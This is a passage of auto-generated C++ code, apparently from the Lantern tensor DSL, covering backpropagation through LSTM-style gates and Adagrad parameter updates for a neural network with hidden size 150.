x1414;\nx1065[x1402] = x1415;\n\n}\nfor(int x1419=0; x1419 < 150; x1419++) {\nfloat x1420 = x1055[x1419];\nfloat x1421 = x1056[x1419];\nfloat x1424 = x1065[x1419];\nfloat x1422 = x1421 * x1421;\nfloat x1423 = 1.0f - x1422;\nfloat x1425 = x1423 * x1424;\nfloat x1426 = x1420 + x1425;\nx1055[x1419] = x1426;\n\n}\n// back prop for + op\nfor(int x1431=0; x1431 < 150; x1431++) {\nfloat x1432 = x1037[x1431];\nfloat x1433 = x1029[x1431];\nfloat x1434 = x1038[x1431];\nfloat x1435 = x1055[x1431];\nfloat x1436 = x1432 + x1435;\nx1037[x1431] = x1436;\nfloat x1438 = x1046[x1431];\nfloat x1439 = x1029[x1431];\nfloat x1440 = x1038[x1431];\nfloat x1441 = x1055[x1431];\nfloat x1442 = x1438 + x1441;\nx1046[x1431] = x1442;\n\n}\n// backprop for * op\nfor(int x1447=0; x1447 < 150; x1447++) {\nfloat x1448 = x939[x1447];\nfloat x1449 = x927[x1447];\nfloat x1450 = x274[x1447];\nfloat x1451 = x1046[x1447];\nfloat x1452 = x1451 * x1450;\nfloat x1453 = x1448 + x1452;\nx939[x1447] = x1453;\nfloat x1455 = x275[x1447];\nfloat x1456 = x927[x1447];\nfloat x1457 = x274[x1447];\nfloat x1458 = x1046[x1447];\nfloat x1459 = x1458 * x1456;\nfloat x1460 = x1455 + x1459;\nx275[x1447] = x1460;\n\n}\n// back prop for + op\nfor(int x1465=0; x1465 < 150; x1465++) {\nfloat x1466 = x1019[x1465];\nfloat x1467 = x1011[x1465];\nfloat x1468 = x1020[x1465];\nfloat x1469 = x1037[x1465];\nfloat x1470 = x1466 + x1469;\nx1019[x1465] = x1470;\nfloat x1472 = x1028[x1465];\nfloat x1473 = x1011[x1465];\nfloat x1474 = x1020[x1465];\nfloat x1475 = x1037[x1465];\nfloat x1476 = x1472 + x1475;\nx1028[x1465] = x1476;\n\n}\n// backprop for * op\nfor(int x1481=0; x1481 < 150; x1481++) {\nfloat x1482 = x902[x1481];\nfloat x1483 = x890[x1481];\nfloat x1484 = x265[x1481];\nfloat x1485 = x1028[x1481];\nfloat x1486 = x1485 * x1484;\nfloat x1487 = x1482 + x1486;\nx902[x1481] = x1487;\nfloat x1489 = x266[x1481];\nfloat x1490 = x890[x1481];\nfloat x1491 = x265[x1481];\nfloat x1492 = x1028[x1481];\nfloat x1493 = x1492 * x1490;\nfloat x1494 = x1489 + x1493;\nx266[x1481] = x1494;\n\n}\n// backprop for * op\nfor(int x1499=0; x1499 < 150; x1499++) {\nfloat x1500 = x865[x1499];\nfloat x1501 = x853[x1499];\nfloat x1502 = x1001[x1499];\nfloat x1503 = x1019[x1499];\nfloat x1504 = x1503 * x1502;\nfloat x1505 = x1500 + x1504;\nx865[x1499] = x1505;\nfloat x1507 = x1010[x1499];\nfloat x1508 = x853[x1499];\nfloat x1509 = x1001[x1499];\nfloat x1510 = x1019[x1499];\nfloat x1511 = x1510 * x1508;\nfloat x1512 = x1507 + x1511;\nx1010[x1499] = x1512;\n\n}\nfor(int x1516=0; x1516 < 150; x1516++) {\nfloat x1517 = x1000[x1516];\nfloat x1518 = x1001[x1516];\nfloat x1521 = x1010[x1516];\nfloat x1519 = x1518 * x1518;\nfloat x1520 = 1.0f - x1519;\nfloat x1522 = x1520 * x1521;\nfloat x1523 = x1517 + x1522;\nx1000[x1516] = x1523;\n\n}\n// back prop for + op\nfor(int x1528=0; x1528 < 150; x1528++) {\nfloat x1529 = x991[x1528];\nfloat x1530 = x983[x1528];\nfloat x1531 = x163[x1528];\nfloat x1532 = x1000[x1528];\nfloat x1533 = x1529 + x1532;\nx991[x1528] = x1533;\nfloat x1535 = x193[x1528];\nfloat x1536 = x983[x1528];\nfloat x1537 = x163[x1528];\nfloat x1538 = x1000[x1528];\nfloat x1539 = x1535 + x1538;\nx193[x1528] = x1539;\n\n}\n// back prop for + op\nfor(int x1544=0; x1544 < 150; x1544++) {\nfloat x1545 = x979[x1544];\nfloat x1546 = x977[x1544];\nfloat x1547 = x980[x1544];\nfloat x1548 = x991[x1544];\nfloat x1549 = x1545 + x1548;\nx979[x1544] = x1549;\nfloat x1551 = x982[x1544];\nfloat x1552 = x977[x1544];\nfloat x1553 = x980[x1544];\nfloat x1554 = x991[x1544];\nfloat x1555 = x1551 + x1554;\nx982[x1544] = x1555;\n\n}\n// add_cartesian\nint32_t x1560 = 0;\nfor(int x1561=0; x1561 < 150; x1561++) {\nfor(int x1562=0; x1562 < 150; x1562++) {\nint32_t x1563 = x1560;\nint32_t x1564 = x1563 + x1562;\nfloat x1565 = x192[x1564];\nfloat x1566 = x272[x1562];\nfloat x1567 = x982[x1561];\nfloat x1568 = x1566 * x1567;\nfloat x1569 = x1565 + x1568;\nx192[x1564] = x1569;\n\n}\nx1560 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x155,150,x982,1,1,x273,1);\n// add_cartesian\nint32_t x1578 = 0;\nfor(int x1579=0; x1579 < 150; x1579++) {\nfor(int x1580=0; x1580 < 150; x1580++) {\nint32_t x1581 = x1578;\nint32_t x1582 = x1581 + x1580;\nfloat x1583 = x191[x1582];\nfloat x1584 = x263[x1580];\nfloat x1585 = x979[x1579];\nfloat x1586 = x1584 * x1585;\nfloat x1587 = x1583 + x1586;\nx191[x1582] = x1587;\n\n}\nx1578 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x147,150,x979,1,1,x264,1);\nfor(int x1595=0; x1595 < 150; x1595++) {\nfloat x1596 = x963[x1595];\nfloat x1597 = x964[x1595];\nfloat x1600 = x976[x1595];\nfloat x1598 = 1.0f - x1597;\nfloat x1599 = x1598 * x1597;\nfloat x1601 = x1599 * x1600;\nfloat x1602 = x1596 + x1601;\nx963[x1595] = x1602;\n\n}\n// back prop for + op\nfor(int x1607=0; x1607 < 150; x1607++) {\nfloat x1608 = x954[x1607];\nfloat x1609 = x946[x1607];\nfloat x1610 = x146[x1607];\nfloat x1611 = x963[x1607];\nfloat x1612 = x1608 + x1611;\nx954[x1607] = x1612;\nfloat x1614 = x190[x1607];\nfloat x1615 = x946[x1607];\nfloat x1616 = x146[x1607];\nfloat x1617 = x963[x1607];\nfloat x1618 = x1614 + x1617;\nx190[x1607] = x1618;\n\n}\n// back prop for + op\nfor(int x1623=0; x1623 < 150; x1623++) {\nfloat x1624 = x942[x1623];\nfloat x1625 = x940[x1623];\nfloat x1626 = x943[x1623];\nfloat x1627 = x954[x1623];\nfloat x1628 = x1624 + x1627;\nx942[x1623] = x1628;\nfloat x1630 = x945[x1623];\nfloat x1631 = x940[x1623];\nfloat x1632 = x943[x1623];\nfloat x1633 = x954[x1623];\nfloat x1634 = x1630 + x1633;\nx945[x1623] = x1634;\n\n}\n// add_cartesian\nint32_t x1639 = 0;\nfor(int x1640=0; x1640 < 150; x1640++) {\nfor(int x1641=0; x1641 < 150; x1641++) {\nint32_t x1642 = x1639;\nint32_t x1643 = x1642 + x1641;\nfloat x1644 = x189[x1643];\nfloat x1645 = x272[x1641];\nfloat x1646 = x945[x1640];\nfloat x1647 = x1645 * x1646;\nfloat x1648 = x1644 + x1647;\nx189[x1643] = x1648;\n\n}\nx1639 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x138,150,x945,1,1,x273,1);\n// add_cartesian\nint32_t x1657 = 0;\nfor(int x1658=0; x1658 < 150; x1658++) {\nfor(int x1659=0; x1659 < 150; x1659++) {\nint32_t x1660 = x1657;\nint32_t x1661 = x1660 + x1659;\nfloat x1662 = x188[x1661];\nfloat x1663 = x263[x1659];\nfloat x1664 = x942[x1658];\nfloat x1665 = x1663 * x1664;\nfloat x1666 = x1662 + x1665;\nx188[x1661] = x1666;\n\n}\nx1657 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x130,150,x942,1,1,x264,1);\nfor(int x1674=0; x1674 < 150; x1674++) {\nfloat x1675 = x926[x1674];\nfloat x1676 = x927[x1674];\nfloat x1679 = x939[x1674];\nfloat x1677 = 1.0f - x1676;\nfloat x1678 = x1677 * x1676;\nfloat x1680 = x1678 * x1679;\nfloat x1681 = x1675 + x1680;\nx926[x1674] = x1681;\n\n}\n// back prop for + op\nfor(int x1686=0; x1686 < 150; x1686++) {\nfloat x1687 = x917[x1686];\nfloat x1688 = x909[x1686];\nfloat x1689 = x129[x1686];\nfloat x1690 = x926[x1686];\nfloat x1691 = x1687 + x1690;\nx917[x1686] = x1691;\nfloat x1693 = x187[x1686];\nfloat x1694 = x909[x1686];\nfloat x1695 = x129[x1686];\nfloat x1696 = x926[x1686];\nfloat x1697 = x1693 + x1696;\nx187[x1686] = x1697;\n\n}\n// back prop for + op\nfor(int x1702=0; x1702 < 150; x1702++) {\nfloat x1703 = x905[x1702];\nfloat x1704 = x903[x1702];\nfloat x1705 = x906[x1702];\nfloat x1706 = x917[x1702];\nfloat x1707 = x1703 + x1706;\nx905[x1702] = x1707;\nfloat x1709 = x908[x1702];\nfloat x1710 = x903[x1702];\nfloat x1711 = x906[x1702];\nfloat x1712 = x917[x1702];\nfloat x1713 = x1709 + x1712;\nx908[x1702] = x1713;\n\n}\n// add_cartesian\nint32_t x1718 = 0;\nfor(int x1719=0; x1719 < 150; x1719++) {\nfor(int x1720=0; x1720 < 150; x1720++) {\nint32_t x1721 = x1718;\nint32_t x1722 = x1721 + x1720;\nfloat x1723 = x186[x1722];\nfloat x1724 = x272[x1720];\nfloat x1725 = x908[x1719];\nfloat x1726 = x1724 * x1725;\nfloat x1727 = x1723 + x1726;\nx186[x1722] = x1727;\n\n}\nx1718 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x121,150,x908,1,1,x273,1);\n// add_cartesian\nint32_t x1736 = 0;\nfor(int x1737=0; x1737 < 150; x1737++) {\nfor(int x1738=0; x1738 < 150; x1738++) {\nint32_t x1739 = x1736;\nint32_t x1740 = x1739 + x1738;\nfloat x1741 = x185[x1740];\nfloat x1742 = x263[x1738];\nfloat x1743 = x905[x1737];\nfloat x1744 = x1742 * x1743;\nfloat x1745 = x1741 + x1744;\nx185[x1740] = x1745;\n\n}\nx1736 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x113,150,x905,1,1,x264,1);\nfor(int x1753=0; x1753 < 150; x1753++) {\nfloat x1754 = x889[x1753];\nfloat x1755 = x890[x1753];\nfloat x1758 = x902[x1753];\nfloat x1756 = 1.0f - x1755;\nfloat x1757 = x1756 * x1755;\nfloat x1759 = x1757 * x1758;\nfloat x1760 = x1754 + x1759;\nx889[x1753] = x1760;\n\n}\n// back prop for + op\nfor(int x1765=0; x1765 < 150; x1765++) {\nfloat x1766 = x880[x1765];\nfloat x1767 = x872[x1765];\nfloat x1768 = x129[x1765];\nfloat x1769 = x889[x1765];\nfloat x1770 = x1766 + x1769;\nx880[x1765] = x1770;\nfloat x1772 = x187[x1765];\nfloat x1773 = x872[x1765];\nfloat x1774 = x129[x1765];\nfloat x1775 = x889[x1765];\nfloat x1776 = x1772 + x1775;\nx187[x1765] = x1776;\n\n}\n// back prop for + op\nfor(int x1781=0; x1781 < 150; x1781++) {\nfloat x1782 = x868[x1781];\nfloat x1783 = x866[x1781];\nfloat x1784 = x869[x1781];\nfloat x1785 = x880[x1781];\nfloat x1786 = x1782 + x1785;\nx868[x1781] = x1786;\nfloat x1788 = x871[x1781];\nfloat x1789 = x866[x1781];\nfloat x1790 = x869[x1781];\nfloat x1791 = x880[x1781];\nfloat x1792 = x1788 + x1791;\nx871[x1781] = x1792;\n\n}\n// add_cartesian\nint32_t x1797 = 0;\nfor(int x1798=0; x1798 < 150; x1798++) {\nfor(int x1799=0; x1799 < 150; x1799++) {\nint32_t x1800 = x1797;\nint32_t x1801 = x1800 + x1799;\nfloat x1802 = x184[x1801];\nfloat x1803 = x272[x1799];\nfloat x1804 = x871[x1798];\nfloat x1805 = x1803 * x1804;\nfloat x1806 = x1802 + x1805;\nx184[x1801] = x1806;\n\n}\nx1797 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x105,150,x871,1,1,x273,1);\n// add_cartesian\nint32_t x1815 = 0;\nfor(int x1816=0; x1816 < 150; x1816++) {\nfor(int x1817=0; x1817 < 150; x1817++) {\nint32_t x1818 = x1815;\nint32_t x1819 = x1818 + x1817;\nfloat x1820 = x183[x1819];\nfloat x1821 = x263[x1817];\nfloat x1822 = x868[x1816];\nfloat x1823 = x1821 * x1822;\nfloat x1824 = x1820 + x1823;\nx183[x1819] = x1824;\n\n}\nx1815 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x97,150,x868,1,1,x264,1);\nfor(int x1832=0; x1832 < 150; x1832++) {\nfloat x1833 = x852[x1832];\nfloat x1834 = x853[x1832];\nfloat x1837 = x865[x1832];\nfloat x1835 = 1.0f - x1834;\nfloat x1836 = x1835 * x1834;\nfloat x1838 = x1836 * x1837;\nfloat x1839 = x1833 + x1838;\nx852[x1832] = x1839;\n\n}\n// back prop for + op\nfor(int x1844=0; x1844 < 150; x1844++) {\nfloat x1845 = x843[x1844];\nfloat x1846 = x835[x1844];\nfloat x1847 = x96[x1844];\nfloat x1848 = x852[x1844];\nfloat x1849 = x1845 + x1848;\nx843[x1844] = x1849;\nfloat x1851 = x182[x1844];\nfloat x1852 = x835[x1844];\nfloat x1853 = x96[x1844];\nfloat x1854 = x852[x1844];\nfloat x1855 = x1851 + x1854;\nx182[x1844] = x1855;\n\n}\n// back prop for + op\nfor(int x1860=0; x1860 < 150; x1860++) {\nfloat x1861 = x831[x1860];\nfloat x1862 = x829[x1860];\nfloat x1863 = x832[x1860];\nfloat x1864 = x843[x1860];\nfloat x1865 = x1861 + x1864;\nx831[x1860] = x1865;\nfloat x1867 = x834[x1860];\nfloat x1868 = x829[x1860];\nfloat x1869 = x832[x1860];\nfloat x1870 = x843[x1860];\nfloat x1871 = x1867 + x1870;\nx834[x1860] = x1871;\n\n}\n// add_cartesian\nint32_t x1876 = 0;\nfor(int x1877=0; x1877 < 150; x1877++) {\nfor(int x1878=0; x1878 < 150; x1878++) {\nint32_t x1879 = x1876;\nint32_t x1880 = x1879 + x1878;\nfloat x1881 = x181[x1880];\nfloat x1882 = x272[x1878];\nfloat x1883 = x834[x1877];\nfloat x1884 = x1882 * x1883;\nfloat x1885 = x1881 + x1884;\nx181[x1880] = x1885;\n\n}\nx1876 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x88,150,x834,1,1,x273,1);\n// add_cartesian\nint32_t x1894 = 0;\nfor(int x1895=0; x1895 < 150; x1895++) {\nfor(int x1896=0; x1896 < 150; x1896++) {\nint32_t x1897 = x1894;\nint32_t x1898 = x1897 + x1896;\nfloat x1899 = x180[x1898];\nfloat x1900 = x263[x1896];\nfloat x1901 = x831[x1895];\nfloat x1902 = x1900 * x1901;\nfloat x1903 = x1899 + x1902;\nx180[x1898] = x1903;\n\n}\nx1894 += 150;\n\n}\ncblas_sgemv(CblasRowMajor, CblasTrans, 150,150,1,x79,150,x831,1,1,x264,1);\n}\n};\nx244(x267,x268,x1914);\n};\nx244(x258,x259,x1924);\n} else {\nfloat** x1951 = (float**)myMalloc(6 * sizeof(float*));;\nx1951[0] = x238;\nx1951[1] = x239;\nx1951[2] = x240;\nx1951[3] = x241;\nx1951[4] = x242;\nx1951[5] = x243;\nfunction<void(float**)> x249 = x246;\nfunction<void(float**)> x1934 = [&](float** x1935) {\nfloat* x1936 = x1935[0];\nfloat* x1937 = x1935[1];\nfloat* x1938 = x1935[2];\nfloat* x1939 = x1935[3];\nfloat* x1940 = x1935[4];\nfloat* x1941 = x1935[5];\nfloat** x1942 = (float**)myMalloc(6 * sizeof(float*));;\nx1942[0] = x1936;\nx1942[1] = x1937;\nx1942[2] = x1938;\nx1942[3] = x1939;\nx1942[4] = x1940;\nx1942[5] = x1941;\nx249(x1942);\n};\nx1934(x1951);\n}\n};\nfloat* x234 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x235 = (float*)myMalloc(1 * sizeof(float));;\n// allocate memory to save the final loss in CPU Tensor\nfloat* x237 = (float*)myMalloc(1 * sizeof(float));;\nfloat** x1982 = (float**)myMalloc(6 * sizeof(float*));;\nx1982[0] = x238;\nx1982[1] = x239;\nx1982[2] = x240;\nx1982[3] = x241;\nx1982[4] = x242;\nx1982[5] = x243;\nfunction<void(float**)> x1962 = [&](float** x1963) {\nfloat* x1964 = x1963[0];\nfloat* x1965 = x1963[1];\nfloat* x1966 = x1963[2];\nfloat* x1967 = x1963[3];\nfloat* x1968 = x1963[4];\nfloat* x1969 = x1963[5];\n// make sure the size of loss is 1\nfor(int x1971=0; x1971 < 1; x1971++) {\nx1965[x1971] = 1.0f;\n\n}\n// backend is lantern.TensorDslCPU$BackendCPU@4ddd0a27\nfor(int x1976=0; x1976 < 1; x1976++) {\nfloat x1977 = x1964[x1976];\nx237[x1976] = x1977;\n\n}\n};\nx244(0,x1962,x1982);\nfloat x1991 = x237[0];\nfloat x1992 = x223;\nfloat x1993 = (float)x224;\nfloat x1994 = x1992 * x1993;\nint32_t x1995 = x224 + 1;\nfloat x1996 = (float)x1995;\nfloat x1997 = x1994 / x1996;\nfloat x1998 = x1991 / x1996;\nfloat x1999 = x1997 + x1998;\nx223 = x1999;\nfor(int x2001=0; x2001 < 45000; x2001++) {\nfloat x2002 = x174[x2001];\nfloat x2003 = x2002;\nfloat x2004 = x196[x2001];\nfloat x2005 = x2003;\nfloat x2006 = x2005 * x2005;\nfloat x2007 = x2004 + x2006;\nx196[x2001] = x2007;\nfloat x2009 = x50[x2001];\nfloat x2011 = x196[x2001];\nfloat x2010 = 0.05f * x2005;\ndouble x2012 = (double)x2011;\ndouble x2013 = x2012 + 9.99999993922529E-9;\ndouble x2014 = sqrt(x2013);\nfloat x2015 = (float)x2014;\nfloat x2016 = x2010 / x2015;\nfloat x2017 = x2009 - x2016;\nx50[x2001] = x2017;\nx174[x2001] = 0.0f;\n\n}\nfor(int x2022=0; x2022 < 150; x2022++) {\nfloat x2023 = x175[x2022];\nfloat x2024 = x2023;\nfloat x2025 = x197[x2022];\nfloat x2026 = x2024;\nfloat x2027 = x2026 * x2026;\nfloat x2028 = x2025 + x2027;\nx197[x2022] = x2028;\nfloat x2030 = x60[x2022];\nfloat x2032 = x197[x2022];\nfloat x2031 = 0.05f * x2026;\ndouble x2033 = (double)x2032;\ndouble x2034 = x2033 + 9.99999993922529E-9;\ndouble x2035 = sqrt(x2034);\nfloat x2036 = (float)x2035;\nfloat x2037 = x2031 / x2036;\nfloat x2038 = x2030 - x2037;\nx60[x2022] = x2038;\nx175[x2022] = 0.0f;\n\n}\nfor(int x2043=0; x2043 < 45000; x2043++) {\nfloat x2044 = x176[x2043];\nfloat x2045 = x2044;\nfloat x2046 = x198[x2043];\nfloat x2047 = x2045;\nfloat x2048 = x2047 * x2047;\nfloat x2049 = x2046 + x2048;\nx198[x2043] = x2049;\nfloat x2051 = x61[x2043];\nfloat x2053 = x198[x2043];\nfloat x2052 = 0.05f * x2047;\ndouble x2054 = (double)x2053;\ndouble x2055 = x2054 + 9.99999993922529E-9;\ndouble x2056 = sqrt(x2055);\nfloat x2057 = (float)x2056;\nfloat x2058 = x2052 / x2057;\nfloat x2059 = x2051 - x2058;\nx61[x2043] = x2059;\nx176[x2043] = 0.0f;\n\n}\nfor(int x2064=0; x2064 < 150; x2064++) {\nfloat x2065 = x177[x2064];\nfloat x2066 = x2065;\nfloat x2067 = x199[x2064];\nfloat x2068 = x2066;\nfloat x2069 = x2068 * x2068;\nfloat x2070 = x2067 + x2069;\nx199[x2064] = x2070;\nfloat x2072 = x69[x2064];\nfloat x2074 = x199[x2064];\nfloat x2073 = 0.05f * x2068;\ndouble x2075 = (double)x2074;\ndouble x2076 = x2075 + 9.99999993922529E-9;\ndouble x2077 = sqrt(x2076);\nfloat x2078 = (float)x2077;\nfloat x2079 = x2073 / x2078;\nfloat x2080 = x2072 - x2079;\nx69[x2064] = x2080;\nx177[x2064] = 0.0f;\n\n}\nfor(int x2085=0; x2085 < 45000; x2085++) {\nfloat x2086 = x178[x2085];\nfloat x2087 = x2086;\nfloat x2088 = x200[x2085];\nfloat x2089 = x2087;\nfloat x2090 = x2089 * x2089;\nfloat x2091 = x2088 + x2090;\nx200[x2085] = x2091;\nfloat x2093 = x70[x2085];\nfloat x2095 = x200[x2085];\nfloat x2094 = 0.05f * x2089;\ndouble x2096 = (double)x2095;\ndouble x2097 = x2096 + 9.99999993922529E-9;\ndouble x2098 = sqrt(x2097);\nfloat x2099 = (float)x2098;\nfloat x2100 = x2094 / x2099;\nfloat x2101 = x2093 - x2100;\nx70[x2085] = x2101;\nx178[x2085] = 0.0f;\n\n}\nfor(int x2106=0; x2106 < 150; x2106++) {\nfloat x2107 = x179[x2106];\nfloat x2108 = x2107;\nfloat x2109 = x201[x2106];\nfloat x2110 = x2108;\nfloat x2111 = x2110 * x2110;\nfloat x2112 = x2109 + x2111;\nx201[x2106] = x2112;\nfloat x2114 = x78[x2106];\nfloat x2116 = x201[x2106];\nfloat x2115 = 0.05f * x2110;\ndouble x2117 = (double)x2116;\ndouble x2118 = x2117 + 9.99999993922529E-9;\ndouble x2119 = sqrt(x2118);\nfloat x2120 = (float)x2119;\nfloat x2121 = x2115 / x2120;\nfloat x2122 = x2114 - x2121;\nx78[x2106] = x2122;\nx179[x2106] = 0.0f;\n\n}\nfor(int x2127=0; x2127 < 22500; x2127++) {\nfloat x2128 = x180[x2127];\nfloat x2129 = x2128;\nfloat x2130 = x202[x2127];\nfloat x2131 = x2129;\nfloat x2132 = x2131 * x2131;\nfloat x2133 = x2130 + x2132;\nx202[x2127] = x2133;\nfloat x2135 = x79[x2127];\nfloat x2137 = x202[x2127];\nfloat x2136 = 0.05f * x2131;\ndouble x2138 = (double)x2137;\ndouble x2139 = x2138 + 9.99999993922529E-9;\ndouble x2140 = sqrt(x2139);\nfloat x2141 = (float)x2140;\nfloat x2142 = x2136 / x2141;\nfloat x2143 = x2135 - x2142;\nx79[x2127] = x2143;\nx180[x2127] = 0.0f;\n\n}\nfor(int x2148=0; x2148 < 22500; x2148++) {\nfloat x2149 = x181[x2148];\nfloat x2150 = x2149;\nfloat x2151 = x203[x2148];\nfloat x2152 = x2150;\nfloat x2153 = x2152 * x2152;\nfloat x2154 = x2151 + x2153;\nx203[x2148] = x2154;\nfloat x2156 = x88[x2148];\nfloat x2158 = x203[x2148];\nfloat x2157 = 0.05f * x2152;\ndouble x2159 = (double)x2158;\ndouble x2160 = x2159 + 9.99999993922529E-9;\ndouble x2161 = sqrt(x2160);\nfloat x2162 = (float)x2161;\nfloat x2163 = x2157 / x2162;\nfloat x2164 = x2156 - x2163;\nx88[x2148] = x2164;\nx181[x2148] = 0.0f;\n\n}\nfor(int x2169=0; x2169 < 150; x2169++) {\nfloat x2170 = x182[x2169];\nfloat x2171 = x2170;\nfloat x2172 = x204[x2169];\nfloat x2173 = x2171;\nfloat x2174 = x2173 * x2173;\nfloat x2175 = x2172 + x2174;\nx204[x2169] = x2175;\nfloat x2177 = x96[x2169];\nfloat x2179 = x204[x2169];\nfloat x2178 = 0.05f * x2173;\ndouble x2180 = (double)x2179;\ndouble x2181 = x2180 + 9.99999993922529E-9;\ndouble x2182 = sqrt(x2181);\nfloat x2183 = (float)x2182;\nfloat x2184 = x2178 / x2183;\nfloat x2185 = x2177 - x2184;\nx96[x2169] = x2185;\nx182[x2169] = 0.0f;\n\n}\nfor(int x2190=0; x2190 < 22500; x2190++) {\nfloat x2191 = x183[x2190];\nfloat x2192 = x2191;\nfloat x2193 = x205[x2190];\nfloat x2194 = x2192;\nfloat x2195 = x2194 * x2194;\nfloat x2196 = x2193 + x2195;\nx205[x2190] = x2196;\nfloat x2198 = x97[x2190];\nfloat x2200 = x205[x2190];\nfloat x2199 = 0.05f * x2194;\ndouble x2201 = (double)x2200;\ndouble x2202 = x2201 + 9.99999993922529E-9;\ndouble x2203 = sqrt(x2202);\nfloat x2204 = (float)x2203;\nfloat x2205 = x2199 / x2204;\nfloat x2206 = x2198 - x2205;\nx97[x2190] = x2206;\nx183[x2190] = 0.0f;\n\n}\nfor(int x2211=0; x2211 < 22500; x2211++) {\nfloat x2212 = x184[x2211];\nfloat x2213 = x2212;\nfloat x2214 = x206[x2211];\nfloat x2215 = x2213;\nfloat x2216 = x2215 * x2215;\nfloat x2217 = x2214 + x2216;\nx206[x2211] = x2217;\nfloat x2219 = x105[x2211];\nfloat x2221 = x206[x2211];\nfloat x2220 = 0.05f * x2215;\ndouble x2222 = (double)x2221;\ndouble x2223 = x2222 + 9.99999993922529E-9;\ndouble x2224 = sqrt(x2223);\nfloat x2225 = (float)x2224;\nfloat x2226 = x2220 / x2225;\nfloat x2227 = x2219 - x2226;\nx105[x2211] = x2227;\nx184[x2211] = 0.0f;\n\n}\nfor(int x2232=0; x2232 < 22500; x2232++) {\nfloat x2233 = x185[x2232];\nfloat x2234 = x2233;\nfloat x2235 = x207[x2232];\nfloat x2236 = x2234;\nfloat x2237 = x2236 * x2236;\nfloat x2238 = x2235 + x2237;\nx207[x2232] = x2238;\nfloat x2240 = x113[x2232];\nfloat x2242 = x207[x2232];\nfloat x2241 = 0.05f * x2236;\ndouble x2243 = (double)x2242;\ndouble x2244 = x2243 + 9.99999993922529E-9;\ndouble x2245 = sqrt(x2244);\nfloat x2246 = (float)x2245;\nfloat x2247 = x2241 / x2246;\nfloat x2248 = x2240 - x2247;\nx113[x2232] = x2248;\nx185[x2232] = 0.0f;\n\n}\nfor(int x2253=0; x2253 < 22500; x2253++) {\nfloat x2254 = x186[x2253];\nfloat x2255 = x2254;\nfloat x2256 = x208[x2253];\nfloat x2257 = x2255;\nfloat x2258 = x2257 * x2257;\nfloat x2259 = x2256 + x2258;\nx208[x2253] = x2259;\nfloat x2261 = x121[x2253];\nfloat x2263 = x208[x2253];\nfloat x2262 = 0.05f * x2257;\ndouble x2264 = (double)x2263;\ndouble x2265 = x2264 + 9.99999993922529E-9;\ndouble x2266 = sqrt(x2265);\nfloat x2267 = (float)x2266;\nfloat x2268 = x2262 / x2267;\nfloat x2269 = x2261 - x2268;\nx121[x2253] = x2269;\nx186[x2253] = 0.0f;\n\n}\nfor(int x2274=0; x2274 < 150; x2274++) {\nfloat x2275 = x187[x2274];\nfloat x2276 = x2275;\nfloat x2277 = x209[x2274];\nfloat x2278 = x2276;\nfloat x2279 = x2278 * x2278;\nfloat x2280 = x2277 + x2279;\nx209[x2274] = x2280;\nfloat x2282 = x129[x2274];\nfloat x2284 = x209[x2274];\nfloat x2283 = 0.05f * x2278;\ndouble x2285 = (double)x2284;\ndouble x2286 = x2285 + 9.99999993922529E-9;\ndouble x2287 = sqrt(x2286);\nfloat x2288 = (float)x2287;\nfloat x2289 = x2283 / x2288;\nfloat x2290 = x2282 - x2289;\nx129[x2274] = x2290;\nx187[x2274] = 0.0f;\n\n}\nfor(int x2295=0; x2295 < 22500; x2295++) {\nfloat x2296 = x188[x2295];\nfloat x2297 = x2296;\nfloat x2298 = x210[x2295];\nfloat x2299 = x2297;\nfloat x2300 = x2299 * x2299;\nfloat x2301 = x2298 + x2300;\nx210[x2295] = x2301;\nfloat x2303 = x130[x2295];\nfloat x2305 = x210[x2295];\nfloat x2304 = 0.05f * x2299;\ndouble x2306 = (double)x2305;\ndouble x2307 = x2306 + 9.99999993922529E-9;\ndouble x2308 = sqrt(x2307);\nfloat x2309 = (float)x2308;\nfloat x2310 = x2304 / x2309;\nfloat x2311 = x2303 - x2310;\nx130[x2295] = x2311;\nx188[x2295] = 0.0f;\n\n}\nfor(int x2316=0; x2316 < 22500; x2316++) {\nfloat x2317 = x189[x2316];\nfloat x2318 = x2317;\nfloat x2319 = x211[x2316];\nfloat x2320 = x2318;\nfloat x2321 = x2320 * x2320;\nfloat x2322 = x2319 + x2321;\nx211[x2316] = x2322;\nfloat x2324 = x138[x2316];\nfloat x2326 = x211[x2316];\nfloat x2325 = 0.05f * x2320;\ndouble x2327 = (double)x2326;\ndouble x2328 = x2327 + 9.99999993922529E-9;\ndouble x2329 = sqrt(x2328);\nfloat x2330 = (float)x2329;\nfloat x2331 = x2325 / x2330;\nfloat x2332 = x2324 - x2331;\nx138[x2316] = x2332;\nx189[x2316] = 0.0f;\n\n}\nfor(int x2337=0; x2337 < 150; x2337++) {\nfloat x2338 = x190[x2337];\nfloat x2339 = x2338;\nfloat x2340 = x212[x2337];\nfloat x2341 = x2339;\nfloat x2342 = x2341 * x2341;\nfloat x2343 = x2340 + x2342;\nx212[x2337] = x2343;\nfloat x2345 = x146[x2337];\nfloat x2347 = x212[x2337];\nfloat x2346 = 0.05f * x2341;\ndouble x2348 = (double)x2347;\ndouble x2349 = x2348 + 9.99999993922529E-9;\ndouble x2350 = sqrt(x2349);\nfloat x2351 = (float)x2350;\nfloat x2352 = x2346 / x2351;\nfloat x2353 = x2345 - x2352;\nx146[x2337] = x2353;\nx190[x2337] = 0.0f;\n\n}\nfor(int x2358=0; x2358 < 22500; x2358++) {\nfloat x2359 = x191[x2358];\nfloat x2360 = x2359;\nfloat x2361 = x213[x2358];\nfloat x2362 = x2360;\nfloat x2363 = x2362 * x2362;\nfloat x2364 = x2361 + x2363;\nx213[x2358] = x2364;\nfloat x2366 = x147[x2358];\nfloat x2368 = x213[x2358];\nfloat x2367 = 0.05f * x2362;\ndouble x2369 = (double)x2368;\ndouble x2370 = x2369 + 9.99999993922529E-9;\ndouble x2371 = sqrt(x2370);\nfloat x2372 = 